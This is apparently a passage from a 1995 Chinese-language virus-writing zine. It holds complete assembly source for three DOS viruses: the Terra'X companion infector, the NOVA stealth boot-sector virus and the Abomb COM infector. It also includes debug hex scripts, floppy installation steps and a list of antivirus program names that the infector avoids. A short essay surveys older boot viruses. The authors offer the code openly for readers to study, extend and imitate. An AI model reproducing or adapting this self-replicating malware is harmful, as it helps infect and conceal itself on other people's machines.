int 21h ; 程式结束
vir_end:
end start
================================= End 1467.ASM ===========================
==========================================================================
◎伴随型病毒-Terra'X◎
by Zhuge
==========================================================================
呼!前一阵子从 IR 病毒杂志中看到一只伴随型病毒,虽然写的还不错!可是
还是觉得有些部份还不太好??于是乎我就写了这只毒名为 Terra'X !
这只毒我没有加任何破坏动作,可能最近连键盘都不太喜欢碰的原故吧!喝?
这只毒主要的功能是感染 .COM 与 .EXE 档!dir 时无法找到病毒的主档?这些都
是很基本的,我想大家都会看得懂吧!用不著我注解吧??
以下就是Terra'X 的 .COM ! 执行前请随便 copy 一个 .EXE 档为TERRAX.EXE !
如果不照做的话会当机喔!喝!玩的愉快吧!;_)
以下系原始程式...
===========================================================================
;
; This is [TERRAX] virus !
; Written by Zhuge Jin at TPVO , 1995 .
;
TERRAX SEGMENT
ASSUME CS:TERRAX,DS:TERRAX,ES:TERRAX
.286
org 0000h
vir_start:
jmp short start
oint21h_ip dw ?
oint21h_cs dw ?
pcb dw ?
dw 0080h
psp_1 dw ?
dw 005ch
psp_2 dw ?
dw 006ch
psp_3 dw ?
start:
mov si,0100h
mov ds:[si+OFFSET psp_1],ds
mov ds:[si+OFFSET psp_2],ds
mov ds:[si+OFFSET psp_3],ds
mov ah,04h
int 1ah
cmp dl,18h
jnz no_show
show:
push dx
s_a1:
pop dx
in ax,40h
and ax,0303h
add dx,ax
in ax,40h
and ax,0303h
sub dx,ax
push dx
cmp dh,18
ja s_a1
cmp dl,44
ja s_a1
mov di,0006h
in ax,40h
mov bx,ax
mov bh,00
mov bp,OFFSET tpvo+0100h
s_a2:
mov ax,1300h
mov cx,35
int 10h
dec di
jz s_a1
add bp,cx
inc dh
jmp short s_a2
no_show:
xor bx,bx
mov ds,bx
mov bl,21h*04h
mov ax,OFFSET vint21h+0100h
xchg ax,ds:[bx]
mov cs:[si+OFFSET oint21h_ip],ax
mov ax,cs
xchg ax,ds:[bx+02h]
mov cs:[si+OFFSET oint21h_cs],ax
cli
mov sp,OFFSET vir_end+0100h
sti
mov ah,4ah
mov bl,(OFFSET vir_end+0100h)/10h+01h
int 21h
xor di,di
mov es,es:[di+2ch]
mov al,00h
mov cx,8000h
get_name:
repnz scasb
cmp al,es:[di]
loopnz get_name
add di,0003h
push di
mov al,'.'
repnz scasb
mov ax,'XE'
stosw
stosb
pop di
push es
pop ds
push cs
pop es
mov ax,4b00h
mov bx,OFFSET pcb+0100h
mov dx,di
int 21h
mov ah,4dh
int 21h
push cs
pop ds
mov ax,cs
dec ax
mov es,ax
mov cx,0007h
mov di,0008h
mov si,OFFSET not_file+0101h
repz movsb
xor ax,ax
stosb
push cs
pop es
mov dx,OFFSET vir_end+0100h
int 27h
stealth1:
push bx
mov bx,dx
cmp byte ptr ds:[bx],0ffh
jnz stealth_noex
test byte ptr ds:[bx+06h],02h
jz stealth_noex
xor byte ptr ds:[bx+06h],02h
stealth_noex:
pop bx
jmp short dos_int21h
stealth2:
test cl,02h
jz stealth_ext
xor cl,02h
stealth_ext:
jmp short dos_int21h
vint21h:
pushf
cmp ah,11h
jz stealth1
cmp ah,4eh
jz stealth2
cmp ax,4b00h
jz infect
dos_int21h:
popf
jmp dword ptr cs:[OFFSET oint21h_ip+0100h]
int21h:
pushf
call dword ptr cs:[OFFSET oint21h_ip+0100h]
ret
infect:
push ax
push bx
push cx
push dx
push di
push si
push ds
push es
xor bx,bx
mov es,bx
push word ptr es:[bx+24h*04h]
push word ptr es:[bx+24h*04h+02h]
push bx
push es
mov word ptr es:[bx+24h*04h],OFFSET vint24h+0100h
mov word ptr es:[bx+24h*04h+02h],cs
push cs
pop es
mov di,OFFSET buffer+0100h
mov si,dx
mov ah,60h
call int21h
jc vint21h_ext
add di,0080h
mov ah,60h
call int21h
jc vint21h_ext
mov al,'.'
cld
repnz scasb
push cs
pop ds
mov si,di
call chk_not_file
jc vint21h_ext
mov ax,'OC'
stosw
mov al,'M'
stosb
sub di,0083h
mov ax,'XE'
mov dx,OFFSET buffer+0180h
cmp word ptr es:[di],ax
jz inf_a
stosw
stosb
mov di,OFFSET buffer+0100h
mov ah,56h
call int21h
jc vint21h_ext
inf_a:
mov ah,5bh
mov cx,0002h
call int21h
jc vint21h_ext
push cs
pop ds
xchg bx,ax
mov ah,40h
mov cx,OFFSET vir_end-OFFSET vir_start
mov dx,OFFSET vir_start+0100h
call int21h
mov ah,3eh
call int21h
vint21h_ext:
pop es
pop bx
pop word ptr es:[bx+24h*04h+02h]
pop word ptr es:[bx+24h*04h]
pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
pop ax
jmp short dos_int21h
vint24h:
xor al,al
iret
chk_not_file:
std
lodsb
cmp al,'\'
jnz chk_not_file
cld
lodsw
push di
mov di,si
push di
mov si,OFFSET not_file+0100h
xor cx,cx
chk_again:
pop di
push di
inc si
add si,cx
cmp word ptr ds:[si-01h],0ffffh
jz chk_fa
xor cx,cx
mov cl,ds:[si-01h]
repz cmpsb
jnz chk_again
pop di
pop di
stc
ret
chk_fa:
pop di
pop di
clc
ret
not_file db 7,'COMMAND'
db 3,'IBM'
db 2,'ET'
db 2,'PC'
db 2,'TB'
db 4,'CKVI'
db 4,'KLVI'
db 4,'DEVI'
db 5,'BTOOL'
db 5,'RTOOL'
db 5,'TDISK'
db 4,'SCAN'
db 5,'CLEAN'
db 4,'HUNT'
db 2,'F-'
db 2,'TR'
db 1,'G'
db 1,'Z'
db 0ffh,0ffh

tpvo db "                话 "
db " Terra'X 喊 "
db " ------------------------------喊 "
db " Written By Zhuge Jin at TPVO. 喊 "
db " 阐阐阐阐阐阐阐阐阐阐阐阐阐阐阐  "
db "                  "
buffer db 0100h dup(?)
vir_end:
TERRAX ENDS
END vir_start
==========================================================================
◎一只开机型病毒-NOVA◎
by Zhuge Jin of TPVO
==========================================================================
嘻!这么久了... 我怕大家忘了我的存在?因此我就写了这么一只小开机型病
毒罗!这只毒我命名为[NOVA]?具有隐藏能力!能隐藏硬碟中毒磁区!当然啦...
记忆体隐藏的部份也按照GCV3的方式!只是我拦 int 13h 是在 DOS 拦完之后才拦
的!!当然你会认为这是烂毒一只,不过你先不要妄下定论,你可以去试试其它的
防毒程式在对付开机型病毒的功能,那你就可知道这个方法的好与坏罗... 因为我
没那个闲工夫去针对 "它" 们!当然罗... 你会怕硬碟被干掉是吗??不用紧张!
这只毒没有破坏力,你可以好好的去实验... 因为我的磁碟机又出差错,所以有些
部份我就用头脑去模拟罗... 喝!

今天我要跟大家讨论的是『开机型病毒』!
最近几个月来... 看到某家公司『严重』以某只病毒作为广告的对象,并且以非常
不正当的手段在媒体大肆喧染!虽然我无法再看下去,但我们所能做到的是: 就是
以客观的理论来揭发他们不实的恶行... ;_)
目前我手中的流行的开机型病毒有 : (c) Brain 、Disk Killer 、Stoned 、
Azusa 、Aircop 、Copy Lock 、Fish ...
这些是我以前从学弟中的磁片所采样的,既然我不是刻意去收集,能够在我门下寄
食,可见他们称得上是流行病毒!当是这些流行病毒应该不会有人在中了吧!!!既
然会流行,当然也有他的灭绝... 像这些毒有些会隐藏有些则会连硬碟都感染,为
何会灭绝?请看以下的介绍...
1) (c) Brain 大脑病毒
Welcome to the Dungeon
(c) 1986 Basit & Amjad (pvt) Ltd.
BRAIN COMPUTER SERVICES
730 Nizam Block Allama Igbal Towm
Lahore, Pakistan
Phone: 430791, 443248, 2800530
Beware of this VIRUS
Contact us for Vaccination
这个讯息是最早的讯息,后来经过几手后就变成各式各样的版本了,现在台湾
的版本已不是现在这个版本罗... 这只病毒写的很好玩,每当感染一片软碟,
该软碟的 Label 就会被改成 (c) Brain !但之所以现在不流行,是因为她只
感染 360K 的磁片,以现在的电脑配备,要中大脑病毒简直是作梦!!!这只毒
不但是病毒界的元老,同时也据有隐藏开机磁区的开机型病毒!令我佩服的是
该作者实在太嚣张了,能摆明说病毒是他们写,简直是要出风头!嘻!:_)
2) Disk Killer 磁碟杀手
这只病毒在台湾算是非常流行的一只毒,不但能感染一般的软碟,连硬碟也列
入感染的范围了!这只毒之所以会灭绝是因为他是非常恶劣,时间条件符合就
将磁碟中的资料给编码罗... 并且还会在萤幕告诉你说他在发飙罗... 虽著时
间一久,这只毒渐渐被埋没,原因是人人痛恨他!可是相对的现在世上流行的
一些有破坏力的病毒,却被媒介这样愈炒愈热!唉!现代人赚钱真是无奇不有
啊!;_)
3) Stoned 大麻病毒
这只毒只感染硬碟的 Partition 及软碟的 BOOT !在病毒主体有下列的讯息:
Your PC is now Stoned! LEGALISE MARIJUANA!
这只毒也算是老毒,据说 1988 年底在纽西兰发现的!
4) Bloody
这只毒跟 Stoned 的原理很类似,在开机一定的次数后就会显示如下的讯息:
Bloody! Jun.4,1989
5) Azusa
这只毒跟前面说的也有类似,只不过会干扰印表机的动作!
6) Aircop & Copy Lock
这两只毒只感染软碟,前者会判断软碟的 type 来作感染,后者皆以 360k 作
为感染的方式!
7) Joshi
这只毒会感染 Partition 及软碟的 BOOT !而感染软碟时则会先 format 额外
的一轨来存放 BOOT !此外此毒也具有隐藏能力!
8) Fish
这只毒我想大家都很熟吧!除了隐藏能力外,并且不以减少主记体来常驻,跟
前面的常驻方式完全不同... 虽然用 mem 无法感觉到有少 N K 的情形,当这
个方式并不是合法的,因此容易造成当机!
现在你该知道了吧... 一只要活得久的开机型病毒,不但要能广范的感染,同时也
要能隐藏力强... (最好能够多形???) 当然啦... 发作机率也要考虑???前面的毒
不是因为只能感染软碟,不然就是没有隐藏能力... 再者就是常常发作... 因此
就不能活久了,更何况又面临一些 AV 的围杀,开机型病毒跟本就很难立足!以现
的电脑配备来说,硬碟更是普遍!所以要中开机型病毒实在很难... ;~(
Ok!唬了这么多,我们还是来说个积极一点的东西吧!!
Q: 中了开机型病毒要如何解??
A: 不用我讲了... 我在网路看信的时后,有些人真的是厉害厉害... 不是说『请
用乾净的 DOS 磁片开机』,不然就是说用『低阶格式化』??
前面那句话倒没错,但如果他身边每张 DOS 片都中毒的话怎办呢???而低阶
格式化也没那个必要,除非已确定硬碟已经毁了!而市面上有家公司号称能救
回被损的硬碟?能救回还没关系,但如果救不回怎办呢?那此时你再格式化就
没话说了,如果为了要杀病毒而将硬碟格式化那才是『大白痴』!而那个教人
用格式化的人也该去死啦!所以说归说,能够用最方便解病毒才是重要的,而
不是尽误导一些初学者!比如硬碟与记忆体都有 Fish ,在有毒的环境之下,
而且无『无毒』的开机片,你在怎用解毒程式杀也很难杀掉吧??
Q: CMOS ??
A: 有人说 CMOS 会中毒??我想有这种想法可能是因为中开机型病毒而产生的误
解!!因为开机型病毒在 BOOT 的时后就会先将主记忆体先干几 K 下来做为藏
身的区块,所以会误导一些不懂低阶的使用者!更何况病毒没那种雅兴去感染
CMOS?因为 CMOS 跟本就是放资料的东东啊嘛...
Q: 隐藏能力??
A: 像 Fish 这类有隐藏能力的病毒,如果记忆体有病毒存在的话,那再用解毒程
式也不一定能杀得掉!这时后你就必须想办法用『无毒』的开机片开机后再去
解!
Q: DIR 一张有开机型病毒电脑会不会中毒??
A: 这种问题是『不可能』的!因为 DIR 只有读取并没有去执行!但如果你问:
如果是执行档案那该会吧?答案也是否定的!!但也决非不可!因为如果该档
一开头就类似开机型病毒,那电脑不就中毒吗??喝!嗯!可是这个方法不就
DS 的 Skid Row 差不多了吗???喝!喝!喝!但我所说的是只感染 BOOT ,
那答案样就是否定了!除非将两种方法结合在一起?:_)
好了!就说这些罗... 如果你要学会动手解『开机型病毒』的话,最好先学会基
本的组合语言,会了组合语言要研究病毒或杀病毒就容易多了!更重要是不会被
一些不肖商人给欺骗!嗯!喝!;_)
如果你认为这只毒没有破坏力不好玩?因为我又没有要放出去,因此我就不写
破坏罗!如果有 Bug 或有什问题,你可以去参考 Source code !
怎样安装这只毒进去呢?懒的去写置毒这种东东... 那你就照我所说的去做吧:
1) 先放一片 format 过后 1.2M 的磁片于 A 碟...
2) 将下面虚线内的东东存入 nova.scr !然后执行下列命令产生 nova.bin !
C:\>debug < nova.scr >nul
3) 照下面打就可以罗... ;_)
C:\>debug
-a100
xxxx:xxxx mov ax,201
xxxx:xxxx mov bx,200
xxxx:xxxx mov cx,1
xxxx:xxxx mov dx,0
xxxx:xxxx int 13
xxxx:xxxx mov ax,301
xxxx:xxxx mov bx,200
xxxx:xxxx mov cx,4f0f
xxxx:xxxx mov dx,100
xxxx:xxxx int 13
xxxx:xxxx int 3
xxxx:xxxx
-g=100
xxxxxxxxxxxxxxxxx
-n nova.bin
-f100 l200 00
-l
-w100 0 0 1
-q
C:\>_
4) 用该磁片开机!!!
=======================[nova.scr]=====================
n nova.bin
e 0100 EB 0A 00 00 00 00 00 00 00 00 0F 4F BE 00 7C FA
e 0110 33 DB 8E DB 8E D3 8B E6 FB 53 56 B3 70 C6 47 4F
e 0120 FF FC 8B 47 DC 89 44 02 8B 47 DE 89 44 04 FF 8F
e 0130 A3 03 CD 12 C1 E0 06 8E C0 50 68 4C 00 C7 07 AA
e 0140 00 8C 47 02 B9 00 01 33 FF F3 A5 CB 33 C0 8E C0
e 0150 CD 13 0E 1F 33 F6 B8 01 02 BB 00 7C 8B 4C 0A 83
e 0160 F9 02 75 06 BA 80 00 CD 13 CB BA 00 01 CD 13 72
e 0170 17 0E 07 B8 01 02 BB 00 02 B9 01 00 BA 80 00 CD
e 0180 13 72 05 80 3F EB 75 01 CB 41 89 4C 0A B8 01 03
e 0190 BA 80 00 CD 13 72 F1 B1 21 BF BE 01 BE BE 03 F3
e 01A0 A5 B8 01 03 33 DB 41 CD 13 CB 9C 1E 53 33 DB 8E
e 01B0 DB 80 BF BF 00 FF 74 1E 50 B8 DA 00 87 47 4C 2E
e 01C0 89 47 06 8C C8 87 47 4E 2E 89 47 08 58 FE 06 13
e 01D0 04 81 47 70 2F 00 5B 1F 9D CF 9C 83 F9 01 74 11
e 01E0 0A D2 75 07 A8 01 75 03 E8 13 00 9D 2E FF 2E 06
e 01F0 00 3C 01 75 F6 81 FA 80 00 75 F0 41 EB ED 50 53
e 0200 51 52 57 56 1E 06 0E 1F 0E 07 33 FF BE 03 00 B8
e 0210 01 02 BB 00 02 B9 01 00 33 D2 9C FF 5D 02 73 0B
e 0220 33 C0 9C FF 5D 02 4E 75 E6 EB 2B 80 7F 0C BE 74
e 0230 25 80 7F 15 F9 75 1F B9 0F 4F 89 4D 0A B8 01 03
e 0240 B6 01 9C FF 5D 02 72 0E B8 01 03 33 DB B9 01 00
e 0250 33 D2 9C FF 5D 02 07 1F 5E 5F 5A 59 5B 58 C3
rcx
15F
w
q
=======================[nova.scr]=====================
以下系原始程式...
;
; This is [NOVA] virus !
; Written by Zhuge Jin at TPVO , 1995 .
;
NOVA SEGMENT
ASSUME CS:NOVA,DS:NOVA,ES:NOVA
.286
org 0000h
start:
jmp short vir_init
oint13_ip dw ?
oint13_cs dw ?
dos_int13_ip dw ?
dos_int13_cs dw ?
reg_cx dw 4f0fh
vir_init:
mov si,7c00h
cli
xor bx,bx
mov ds,bx
mov ss,bx
mov sp,si
sti
push bx
push si
mov bl,1ch*04h
mov byte ptr ds:[bx-1ch*04h+2fh*04h+03h],0ffh
cld
mov ax,ds:[bx-1ch*04h+13h*04h]
mov ds:[si+OFFSET oint13_ip],ax
mov ax,ds:[bx-1ch*04h+13h*04h+02h]
mov ds:[si+OFFSET oint13_cs],ax
dec word ptr ds:[bx-1ch*04h+0413h]
int 12h
shl ax,06h
mov es,ax
push ax
push OFFSET high_code
mov word ptr ds:[bx],OFFSET vint1ch
mov ds:[bx+02h],es
mov cx,0100h
xor di,di
repz movsw
retf
high_code:
xor ax,ax
mov es,ax
int 13h
push cs
pop ds
xor si,si
mov ax,0201h
mov bx,7c00h
mov cx,ds:[si+OFFSET reg_cx]
cmp cx,0002h
jnz boot_fd
mov dx,0080h
int 13h
retf
boot_fd:
mov dx,0100h
int 13h
jb boot_dos
push cs
pop es
mov ax,0201h
mov bx,0200h
mov cx,0001h
mov dx,0080h
int 13h
jb boot_dos
cmp byte ptr ds:[bx],0ebh
jnz inf_hd
boot_dos:
retf
inf_hd:
inc cx
mov ds:[si+OFFSET reg_cx],cx
mov ax,0301h
mov dx,0080h
int 13h
jb boot_dos
mov cl,21h
mov di,01beh
mov si,03beh
repz movsw
mov ax,0301h
xor bx,bx
inc cx
int 13h
retf
vint1ch:
pushf
push ds
push bx
xor bx,bx
mov ds,bx
cmp byte ptr ds:[bx+2fh*04h+03h],0ffh
jz v1c_nt_a
push ax
mov ax,OFFSET vint13h
xchg ax,ds:[bx+13h*04h]
mov cs:[bx+OFFSET dos_int13_ip],ax
mov ax,cs
xchg ax,ds:[bx+13h*04h+02h]
mov cs:[bx+OFFSET dos_int13_cs],ax
pop ax
inc byte ptr ds:[0413h]
add word ptr ds:[bx+1ch*04h],OFFSET vint1ch_ext-OFFSET vint1ch
v1c_nt_a:
pop bx
pop ds
popf
vint1ch_ext:
iret
vint13h:
pushf
cmp cx,0001h
jz stealth
or dl,dl
jnz vint13h_ext
test al,01h
jnz vint13h_ext
call inf_fd
vint13h_ext:
popf
jmp dword ptr cs:dos_int13_ip
stealth:
cmp al,01h
jnz vint13h_ext
cmp dx,0080h
jnz vint13h_ext
inc cx
jmp short vint13h_ext
inf_fd:
push ax
push bx
push cx
push dx
push di
push si
push ds
push es
push cs
pop ds
push cs
pop es
xor di,di
mov si,0003h
read_again:
mov ax,0201h
mov bx,0200h
mov cx,0001h
xor dx,dx
pushf
call dword ptr ds:[di+OFFSET oint13_ip]
jnb read_succ
xor ax,ax
pushf
call dword ptr ds:[di+OFFSET oint13_ip]
dec si
jnz read_again
jmp short inf_ext
read_succ:
cmp byte ptr ds:[bx+OFFSET vir_init],0beh
jz inf_ext
cmp byte ptr ds:[bx+15h],0f9h
jnz inf_ext
mov cx,4f0fh
mov ds:[di+OFFSET reg_cx],cx
mov ax,0301h
mov dh,01h
pushf
call dword ptr ds:[di+OFFSET oint13_ip]
jb inf_ext
mov ax,0301h
xor bx,bx
mov cx,0001h
xor dx,dx
pushf
call dword ptr ds:[di+OFFSET oint13_ip]
inf_ext:
pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
pop ax
ret
NOVA ENDS
END start
==========================================================================
◎我的「第一次」- Abomb◎
by Poison Maker of TPVO
==========================================================================
哇!Poison Maker写毒耶... 这次杂志是第一期、初刊,所以我们
组织的每一位成员至少要写一篇文章来登上杂志。所以才万不得已将我
的「第一次」(我第一次写的病毒)献给我们的杂志。其实,我不太会写
病毒,又没有太多时间来学习写作技巧,当然了功力也就烂了!我写的
这只毒,可以使大家增加信心(哇!连这么烂的毒也可以拿出来),没关
系!!我以后会更加研究一些新的写作技巧。希望在国内各地的每一位
病毒作者都能写出「好」的病毒!共勉之...
本只病毒功能很简单,只感染COM 档。如果已感染的档案被开档了
,就恢复档案的内容,关档时,再重新感染一次...
当我写了这只病毒后,Dark Slayer 顺便帮我改一下程式,中断拦
得比较内部,用了SFT 的技巧... 还有一些我不知道的功能,我也把这
只病毒丢给你了,可是时间过了蛮久,原始程式已经不见,只有这只毒
执行档而已。
============================================================================
ABOMB SEGMENT ; Writton By Poison Maker of TPVO
ASSUME CS:ABOMB,DS:ABOMB
ORG 0h
START:
CALL $+3 ; 得到病毒程式开头的区段位置
POP SI
SUB SI,3
MOV DI,100h ; 将DI设为100h,并且堆叠起来
PUSH DI
MOV AH,99h ; 判断INT 21h是否已经拦下来了
INT 21h
CMP AH,66h
JNZ INSTALL
ADD SI,OFFSET FILE_DATA ; 将原来的程式开头恢复
MOV CX,5 ; 并且返回执行
REP MOVSB
XOR SI,SI
XOR DI,DI
XOR CX,CX
XOR BX,BX
XOR AX,AX
RET
INSTALL:
MOV AH,52h ; 得到记忆体控制区段的起启位置
INT 21h
MOV BX,WORD PTR ES:[BX-2]
LOOP_1:
MOV ES,BX ; 记录记忆体控制区段的最后位置
ADD BX,ES:[3] ;
INC BX ; 4Dh代表下面还有记忆体区段
CMP BYTE PTR ES:[0],5Ah ; 5Ah代表已经是最后一个
JNZ LOOP_1
MOV AX,ES
MOV ES,BX
CMP BYTE PTR ES:[0],4Dh
JZ LOOP_2
MOV ES,AX
JMP OVER
LOOP_2:
MOV ES,BX
ADD BX,WORD PTR ES:[3]
INC BX
CMP BYTE PTR ES:[0],4Dh
JZ LOOP_2
OVER:
MOV BX,ES:[3] ; 将最后一个区段的记忆体剩余的长度
MOV AX,OFFSET POISON_END+0Fh ; 减少病毒程式的长度(单位16Bytes)
MOV CL,4 ; 并且将病毒本身复制一份到那里。
SHR AX,CL
SUB BX,AX
MOV ES:[3],BX
MOV AX,ES
ADD BX,AX
XOR DI,DI
MOV ES,BX
MOV CX,OFFSET POISON_END
REP MOVSB
PUSH ES
POP DS
MOV AX,3521h ; 拦下INT 21h
INT 21h
MOV WORD PTR DS:OLD21_I,BX
MOV WORD PTR DS:OLD21_C,ES
MOV AH,25h
MOV DX,OFFSET INT21
INT 21h
PUSH CS ; 恢复DS,ES,并且返回主程式
PUSH CS
POP DS
POP ES
OVER1:
RET
INT21: ; 拦到的INT 21h起启位置
CMP AH,99h
JNZ I1 ; 判断AH是否为99h
MOV AH,66h ; 是则将AH改为66h
IRET ; 并且返回原程式
I1:
CMP AH,3Dh ; 判断是否使用AH,3Dh功能
JNZ I2
JMP AH_3D
I2:
CMP AH,3Eh ; 判断是否使用AH,3Eh功能
JNZ I3
JMP AH_3E
I3:
CMP AX,4B00h ; 判断是否使用AX,4B00h功能
JNZ EXIT_21
JMP AX_4B00
EXIT_21:
DB 0EAh
OLD21_I DW ? ; 真正的INT 21h的位置
OLD21_C DW ?
AX_4B00: ;拦AX,4B00h的执行档案功能
PUSH AX ; 堆叠 AX,BX,CX,DX,ES,DS
PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH DS
PUSH DX ;将档案属性保存
PUSH DS
MOV AX,4300h
CALL I21
PUSH CX
MOV AX,3D02h ;开档
CALL I21
JB FILE_OVER
XCHG BX,AX
PUSH CS ;将DS设为现在(CS)的位置
POP DS
MOV AH,3Fh ;读取档案开头的5 Bytes
MOV CX,5
MOV DX,OFFSET DS:FILE_DATA
CALL I21
MOV AX,WORD PTR DS:FILE_DATA ;判断是否为EXE 档
ADD AL,AH ;已经感染的档案
CMP AL,'M'+'Z' ;是则跳到关档的位置
JZ FILE_END
CMP WORD PTR DS:FILE_DATA[3],'MP'
JZ FILE_END
MOV AX,5700h ; 将原来的时间保存
CALL I21
PUSH CX
PUSH DX
MOV AX,4202h ; 将读写指标设为档案后面
XOR CX,CX
XOR DX,DX
CALL I21
SUB AX,3 ; 将档案长度减3(即是JMP xxxx
MOV WORD PTR DS:START_DATA[1],AX ; 的位置)保存。
MOV AH,40h ;写入病毒程式
MOV CX,OFFSET POISON_END
CALL I21
MOV AX,4200h ; 将读写指标设为档案开头
XOR CX,CX
XOR DX,DX
CALL I21
MOV AH,40h ; 写入资料(JMP xxxx PM)
MOV CL,5 ; ^^^^^^^^^ ^^^
MOV DX,OFFSET DS:START_DATA ; 跳到病毒开始 档案标记
CALL I21
POP DX ; 恢复原来的写档日期
POP CX
MOV AX,5701h
CALL I21
FILE_END:
MOV AH,3Eh ; 关闭档案
CALL I21
FILE_OVER:
POP CX ;将档案属性恢复
POP DS
POP DX
MOV AX,4301h
CALL I21
POP DS ;取回原来的 DS,ES,DX,CX,BX,AX
POP ES
POP DX
POP CX
POP BX
POP AX
JMP EXIT_21 ;执行真正的INT 21h
AH_3D: ;开档功能
PUSH BX ; 保存BX
MOV BX,DX ; 寻找档案名称是否有.COM
MOV BYTE PTR CS:MARK,0 ; 如果有.COM时 MARK = 1
DEC BX
SCAN_NAME:
INC BX
CMP BYTE PTR DS:[BX],0h
JNZ SCAN_NAME
SUB BX,2
CMP WORD PTR DS:[BX],'MO'
JNZ RUN_3D
SUB BX,2
CMP WORD PTR DS:[BX],'C.'
JNZ RUN_3D
MOV BYTE PTR CS:MARK,1
RUN_3D:
POP BX ; 恢复BX
MOV AX,3D02h ; 开档
CALL I21
JNC RUN3D_1 ;判断开档是否有错误
JMP EXIT_3D
RUN3D_1:
PUSHF
PUSH BX
CMP BYTE PTR CS:MARK,1 ;判断MARK=1
JZ RUN3D_2
JMP EXIT_MARK
RUN3D_2:
XOR BX,BX ; 将档案代号存入
DEC BX
F_N:
INC BX
CMP WORD PTR CS:F_NUMBER[BX],0
JZ F_N1
CMP BX,5
JNZ F_N
JMP EXIT_MARK
F_N1:
MOV WORD PTR CS:F_NUMBER[BX],AX
PUSH AX ; 保存AX,CX,DX,DS,ES
PUSH CX
PUSH DX
PUSH DS
PUSH ES
XCHG BX,AX
MOV AX,5700h ; 保存写档日期
CALL I21
PUSH CX
PUSH DX
PUSH CS ; 将DS设为现在的区段(CS)
POP DS
MOV AH,3Fh ; 读取档头的5 Bytes
MOV CX,5
MOV DX,OFFSET FILE_DATA
CALL I21
CMP WORD PTR DS:FILE_DATA[3],'MP' ;判断是否有档案标记
JNZ OVER_SCAN
; 如果有标记,则将档案恢复原来的程式内容
MOV AX,WORD PTR DS:FILE_DATA[1] ; 读取档案的长度,并且堆叠
ADD AX,3
PUSH AX
MOV AX,4202h ; 将读写指标设到档案最后的5 Bytes
MOV CX,0FFFFh
MOV DH,0FFh
MOV DL,11111011b
CALL I21
MOV AH,3Fh ; 读取出来
MOV CX,5
MOV DX,OFFSET FILE_DATA
CALL I21
MOV AX,4200h ; 将读写指标设到档头
XOR CX,CX
XOR DX,DX
CALL I21
MOV AH,40h ; 将原程式的资料写入
MOV CX,5
MOV DX,OFFSET FILE_DATA
CALL I21
MOV AX,4200h ; 将读写指标设为原程式的最后
XOR CX,CX
POP DX
CALL I21
MOV AH,40h ; 写入0 Byte
XOR CX,CX
CALL I21
OVER_SCAN:
MOV AX,4200h ; 将读写指标恢复到开头
XOR CX,CX
XOR DX,DX
CALL I21
POP DX ; 恢复原来的写档日期
POP CX
MOV AX,5701h
CALL I21
POP ES ; 恢复原来的ES,DS,DX,CX,AX
POP DS
POP DX
POP CX
POP AX
EXIT_MARK:
POP BX
POPF
EXIT_3D:
RETF 2 ; 返回原来呼叫INT 21h的位置

AH_3E: ; 关档的功能
PUSH BX ;保存BX,DX
PUSH DX
XCHG DX,BX ;判断所关档的档案代号是否已标记
XOR BX,BX
DEC BX
L_NUMBER:
INC BX
CMP CS:F_NUMBER[BX],DX
JZ COM_FILE
CMP BX,5
JNZ L_NUMBER
POP DX
POP BX
MOV AH,3Eh
JMP EXIT_21
COM_FILE:
MOV CS:F_NUMBER[BX],0 ; 将标记的档案代号消除
POP DX ; 恢复DX,BX
POP BX
PUSH DS ; 保存 DS
PUSH BX ; 保存 BX
MOV AH,45h ; 复制一个档案代号
CALL I21
PUSH AX ; 将旧的档案代号关闭
POP BX
MOV AH,3Eh
CALL I21
POP BX
PUSH CS ; 将DS设为CS
POP DS
MOV AX,5700h ; 保存原来的写档日期
CALL I21
PUSH CX
PUSH DX
MOV AX,4200h ; 将读写指标设为档头
XOR CX,CX
XOR DX,DX
CALL I21
MOV AH,3Fh ;读取档案的 5 Bytes
MOV CX,5
MOV DX,OFFSET FILE_DATA
CALL I21
CMP WORD PTR DS:FILE_DATA,'MP' ; 判断是否档案已标记
JZ EXIT_3E
MOV AX,4202h ; 将读写指标设为档尾
XOR CX,CX
XOR DX,DX
CALL I21
SUB AX,3 ;保存(JMP xxxx)病毒开头的长度
MOV WORD PTR DS:START_DATA[1],AX
MOV AH,40h ; 将病毒程式写入档尾
MOV CX,OFFSET POISON_END
XOR DX,DX
CALL I21
MOV AX,4200h ; 将读写指标设为档头
XOR CX,CX
XOR DX,DX
CALL I21
MOV AH,40h ; 写入 ( JMP xxxx PM)的资料
MOV CX,5
MOV DX,OFFSET START_DATA
CALL I21
POP DX ; 恢复原来的写档日期
POP CX
MOV AX,5701h
CALL I21
EXIT_3E:
MOV AH,3Eh ; 关档和恢复 DS
POP DS
JMP EXIT_21
I21 PROC NEAR ; 此为 呼叫真正的INT 21h的副程式
PUSHF
CALL DWORD PTR CS:EXIT_21
RET
I21 ENDP

F_NUMBER DW 5 DUP(?) ; 储存档案代号
MARK DB 0 ; 标记是否COM档
START_DATA DB 0E9h,?,?,'P','M' ; 档案开的资料
FILE_DATA DB 0CDh,20h,?,?,? ; 原程式的资料
POISON_END:
ABOMB ENDS
END START
==========================================================================

================== Dark Slayer 改版的Abomb Virus =========================
N DS_ABOMB.COM
E0100 E8 00 00 5E 83 EE 03 BF 00 01 57 B8 99 4B CD 21
E0110 FC 3D 66 4B 75 14 81 C6 D8 02 B9 05 00 F3 A4 33
E0120 F6 33 FF 33 C9 33 DB 33 C0 C3 B4 52 CD 21 26 8E
E0130 47 FE 26 A0 00 00 3C 4D 74 04 3C 5A 75 0D 8C C3
E0140 26 A1 03 00 03 C3 40 8E C0 EB E7 8E C3 B8 EC 02
E0150 B1 04 D3 E8 26 29 06 03 00 26 03 1E 03 00 43 33
E0160 FF 8E C3 B9 DD 02 F3 A4 06 1F B4 52 CD 21 B8 80
E0170 FC 26 8E 06 96 00 33 FF 47 4F AF 75 FC 26 80 3D
E0180 33 74 06 26 80 3D 51 75 F0 B9 25 00 8B DF 4F AF
E0190 E0 FC E3 04 8B DF EB F6 83 C3 03 89 1E 22 01 8C
E01A0 06 24 01 8C 06 C7 02 8C 06 CC 02 26 8A 07 A2 CE
E01B0 02 26 8B 47 01 A3 CF 02 26 8B 47 03 A3 D1 02 8B
E01C0 FB B0 EA AA B8 FC 00 AB 8C D8 AB B8 FC 0A 4F AF
E01D0 75 FC 26 81 3D E4 74 75 F5 83 C7 03 89 3E C5 02
E01E0 26 8A 45 FF 98 03 C7 A3 CA 02 83 EF 05 B0 EA AA
